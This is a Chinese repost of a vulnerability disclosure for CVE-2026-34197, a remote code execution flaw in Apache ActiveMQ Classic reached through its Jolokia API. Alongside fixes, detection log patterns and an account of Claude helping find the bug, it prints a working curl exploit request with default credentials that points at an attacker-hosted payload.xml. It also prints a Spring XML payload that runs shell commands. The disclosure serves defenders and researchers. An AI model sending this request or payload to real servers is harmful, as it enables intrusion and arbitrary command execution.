文章总结: CVE-2026-34197是ApacheActiveMQClassic中潜伏13年的远程代码执行漏洞,攻击者可通过JolokiaAPI调用addNetworkConnector操作,结合vm传输机制加载远程Spring配置文件执行系统命令。在6.0.0-6.1.1版本因CVE-2024-32114导致Jolokia无需认证即可利用。建议立即升级至5.19.4或6.2.3版本,检查代理日志中异常网络连接器活动及出站HTTP请求。
综合评分: 95
文章分类: 漏洞分析,渗透测试,应急响应,威胁情报,解决方案
与Claude共度的 10 分钟:CVE-2026-34197 的远程代码执行
原创
骨哥说事
骨哥说事
骨哥说事
2026年4月8日 09:13
上海
| |
| — |
| 声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 |
#
#
防走失:https://gugesay.com/
不想错过任何消息?设置星标↓ ↓ ↓
#
概要
CVE-2026-34197 是Apache ActiveMQ Classic中一个已潜伏13年之久的远程代码执行漏洞。攻击者可以通过ActiveMQ的Jolokia API调用管理操作,诱使代理获取远程配置文件并执行任意操作系统命令。
该漏洞需要凭据,但在许多环境中默认凭据(admin:admin)很常见。在某些版本(6.0.0–6.1.1)上,由于另一个漏洞CVE-2024-32114的存在,Jolokia API无意中暴露且无需认证,因而完全不需要凭据。在这些版本中,CVE-2026-34197实际上是一个无需认证的远程代码执行漏洞。
我们建议运行ActiveMQ的组织将此漏洞视为高优先级,因为ActiveMQ一直是现实世界中攻击者反复攻击的目标,并且针对ActiveMQ的利用方法和漏洞利用后行动是众所周知的。CVE-2016-3088(影响Web控制台的认证后远程代码执行)和CVE-2023-46604(影响代理端口的无认证远程代码执行)均被列入了CISA的已知已利用漏洞目录。
该漏洞已在ActiveMQ版本6.2.3和5.19.4中得到修复。
背景
Apache ActiveMQ 是一个开源Java消息代理,首次发布于2004年。它是用于解耦服务和管理分布式系统中消息队列的中间件。它广泛部署在许多企业中,涵盖金融服务、医疗保健、政府和电子商务等多个环境。
ActiveMQ有两个版本:ActiveMQ Classic(原始代理)和ActiveMQ Artemis(更新的实现)。此漏洞仅影响Classic版本。
Classic代理附带了一个基于Web的管理控制台,运行在端口8161上,由Jetty Web服务器提供支持。该控制台包含Jolokia,这是一个HTTP到JMX的桥接,它将代理管理操作暴露为REST API。
利用ActiveMQ Jolokia API通过addNetworkConnector触发远程代码执行的示意图
2023年,ThreatBook的研究人员报告了CVE-2022-41678,表明攻击者可以通过Jolokia调用 FlightRecorder 等JDK MBean将WebShell写入磁盘。该漏洞的修复默认将Jolokia限制为只读操作,并拒绝对危险MBean的访问,但同时为了确保Web控制台继续工作,对所有ActiveMQ自身MBean上的所有操作添加了全面的允许。
<allow> <mbean> <name>org.apache.activemq:*</name> <attribute>*</attribute> <operation>*</operation> </mbean></allow>
漏洞CVE-2026-34197正是通过利用ActiveMQ自身的MBean绕过了这个修复。
漏洞详情
<operation>*</operation> 这一允许配置意味着可以通过Jolokia调用每个ActiveMQ MBean上的每一个操作。事实证明,其中一个操作—代理MBean上的 addNetworkConnector(String) — 具有通向代码执行的路径。
ActiveMQ支持将多个代理连接到一个网络中,以实现负载分布和高可用性。addNetworkConnector 在运行时设置这些代理到代理的桥接。您给它一个发现URI(discovery URI),它就会创建一个网络连接。
ActiveMQ还支持一种叫做VM传输(vm://)的功能,这是一种进程内传输,设计用于在应用程序内部嵌入代理。客户端和代理不需要通过TCP连接,而是在同一个JVM内通过直接方法调用进行通信。这最初是为了提高单元测试效率而引入的,旨在用于轻量级的嵌入式用例。
当一个 vm:// URI引用不存在的代理时,ActiveMQ默认情况下会动态创建一个,并且它接受一个 brokerConfig 参数,告诉它从哪里加载配置,包括攻击者控制的远程URL。
通过Jolokia调用 addNetworkConnector 并带有一个精心构造的URI,攻击者可以将这些机制链接起来,强制代理获取并执行远程Spring XML配置文件:
curl -s -X POST http://TARGET:8161/api/jolokia/ \ -H "Content-Type: application/json" \ -H "Origin: http://TARGET:8161" \ -u admin:admin \ -d '{ "type": "exec", "mbean": "org.apache.activemq:type=Broker,brokerName=localhost", "operation": "addNetworkConnector", "arguments": ["static:(vm://rce?brokerConfig=xbean:http://ATTACKER:8888/payload.xml)"] }'
VM传输(vm:// transport)检测到一个不存在的代理名称,因此它使用攻击者控制的 xbean:http://... URL调用BrokerFactory.createBroker()。xbean:方案告诉ActiveMQ将其视为Spring XML配置,并将其交给Spring的ResourceXmlApplicationContext处理。这将实例化所有bean定义,从而导致远程代码执行。
例如,下面的payload XML使用Spring的 MethodInvokingFactoryBean 来调用 Runtime.getRuntime().exec() 执行任意命令。
<bean id="exec" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean"> <property name="targetObject"> <bean class="org.springframework.beans.factory.config.MethodInvokingFactoryBean"> <property name="targetClass" value="java.lang.Runtime"/> <property name="targetMethod" value="getRuntime"/> </bean> </property> <property name="targetMethod" value="exec"/> <property name="arguments"> <list> <array value-type="java.lang.String"> <value>/bin/bash</value> <value>-c</value> <value>COMMAND_HERE</value> </array> </list> </property></bean>
这与CVE-2023-46604中使用的漏洞点类型相同,该漏洞也是通过强制ActiveMQ加载远程Spring XML配置文件来实现远程代码执行的。
使用Spring配置在ActiveMQ中运行系统命令的示例payload执行
在某些版本上无需认证(CVE-2024-32114)
上述利用需要对Jolokia端点进行身份验证,但在某些ActiveMQ版本上完全不需要凭据。
CVE-2024-32114是ActiveMQ 6.x中的一个单独漏洞,其中包含Jolokia端点的/api/*路径无意中被从Web控制台的安全约束中移除。这意味着在ActiveMQ版本6.0.0至6.1.1上,Jolokia是完全无需认证的。
在这些版本上,CVE-2026-34197使得无需认证的远程代码执行成为可能。
无需认证的示例截图
修复方案
该漏洞已在ActiveMQ Classic版本5.19.4和6.2.3中修复。补丁移除了 addNetworkConnector 操作添加 vm:// 传输的能力,因为这原本就从未打算作为远程操作暴露。我们建议更新到最新版本,并确保没有使用默认凭据。
检测方法
利用漏洞会在ActiveMQ代理日志中留下明显痕迹。留意与以下模式相关的网络连接器活动:引用包含brokerConfig=xbean:http的vm:// URI。这在正常的代理操作中不会发生:
INFO | Network Connector DiscoveryNetworkConnector:NC:BrokerService[localhost] startedINFO | Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xmlWARN | Could not connect to remote URI: vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml: The configuration has no BrokerService instance for resource: xbean:http://X.X.X.X:8888/payload.xml...INFO | Network Connector DiscoveryNetworkConnector:NC:BrokerService[localhost] stopped
代理通常会多次重试这些连接尝试,然后网络连接器停止。请注意,命令执行发生在连接尝试期间——关于配置失败的”WARN”消息出现在payload已经运行之后。
其他需要留意的迹象包括:
- 包含
addNetworkConnector的到/api/jolokia/的POST请求。 - ActiveMQ代理进程对外部意外主机的HTTP出站请求。
- 由ActiveMQ Java进程生成的意外子进程。
发现过程分享
如今,我总是使用Claude来对源代码进行第一次漏洞挖掘的初步扫描。我给它一些简单的提示,并在网络上设置一个目标供其验证发现。很多时候,Claude会找到一些有趣的东西,但不足以达到值得报告CV**漏洞的程度。但这次它做得非常出色,只用了几个基本提示。这个漏洞80%归功于Claude,20%归功于人工的梳理和确认。
事后看来,这个漏洞是显而易见的,但你可以理解为什么多年来它被错过了。它涉及多个随着时间的推移而独立开发的组件:Jolokia、JMX、网络连接器和VM传输。每个孤立的功能都按它应该的方式工作,但组合在一起就很危险。这正是Claude的优势所在——用一个清晰、无预设的思路,高效地将这条路径从头到尾连接起来。如果手动操作,可能需要我一周时间的事情,Claude只用了10分钟。
好消息是,像Claude这样的工具对每个人都是可用的,我强烈建议应用程序安全工程师和开发人员都利用它们。在过去的6个月里,借助最新的模型,漏洞研究的门槛,尤其是发现低复杂度漏洞的门槛,已经降低了几个数量级,任何有安全背景的人都可以从中受益。
作为一个例子,以下是我在许多项目开始时使用的一个简单提示:
分析此代码库中可被毫无特权的用户利用的漏洞。- 枚举对未经认证、访客或匿名用户可访问的任何端点。- 研究先前的提交和已知漏洞,以识别代码中的热点区域。- 分析代码,重点关注以下漏洞类别: - 远程代码执行:命令注入、反序列化、任意文件上传、代码注入、服务器端模板注入。 - 认证绕过:考虑内置认证、SAML、OAuth2、LDAP;密码重置逻辑;会话管理;头部欺骗;弱加密,防暴力破解保护,路径/路由混淆。 - 访问控制缺陷:缺少认证/授权检查。 - 任意文件读取:路径遍历。如果支持Windows,请特别注意Windows路径处理。 - 服务器端请求伪造:完全读取式和盲注式,考虑重定向处理和DNS重绑定。 - XML外部实体注入。 - SQL注入:同时考虑二阶SQL注入。 - 重要的错误配置:默认凭据、默认密钥、默认访客访问、弱文件权限、Web服务器配置;查看所有部署类型,包括Docker。- 指出任何值得进一步审查的明显的代码异味。
忽略以下漏洞类别:- 跨站脚本 (XSS)- 跨站请求伪造- 开放重定向- 任何拒绝服务攻击
时间线
| 日期 | 事件 |
| — | — |
| 2026年3月22日 | Horizon3向Apache报告漏洞 |
| 2026年3月26日 | Apache ActiveMQ团队确认报告并分配CVE编号 |
| 2026年3月30日 | ActiveMQ Classic版本6.2.3发布 |
| 2026年4月6日 | Apache ActiveMQ发布安全公告 |
| 2026年4月7日 | CVE-2026-34197公布 |
| 2026年4月7日 | 本博客文章发布 |
参考链接
-
Apache ActiveMQ关于CVE-2026-34197的安全公告
-
CVE-2022-41678 — 之前Jolokia执行漏洞
-
CVE-2024-32114 — Jolokia无认证访问漏洞
-
CVE-2023-46604 — OpenWire反序列化远程代码执行漏洞(列于CISA已知已利用漏洞目录)
-
CVE-2016-3088 — 文件服务器任意文件写入漏洞(列于CISA已知已利用漏洞目录)
原文:https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
感谢阅读,如果觉得还不错的话,动动手指给个三连吧~
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:骨哥说事 骨哥说事
骨哥说事《与Claude共度的 10 分钟:CVE-2026-34197 的远程代码执行》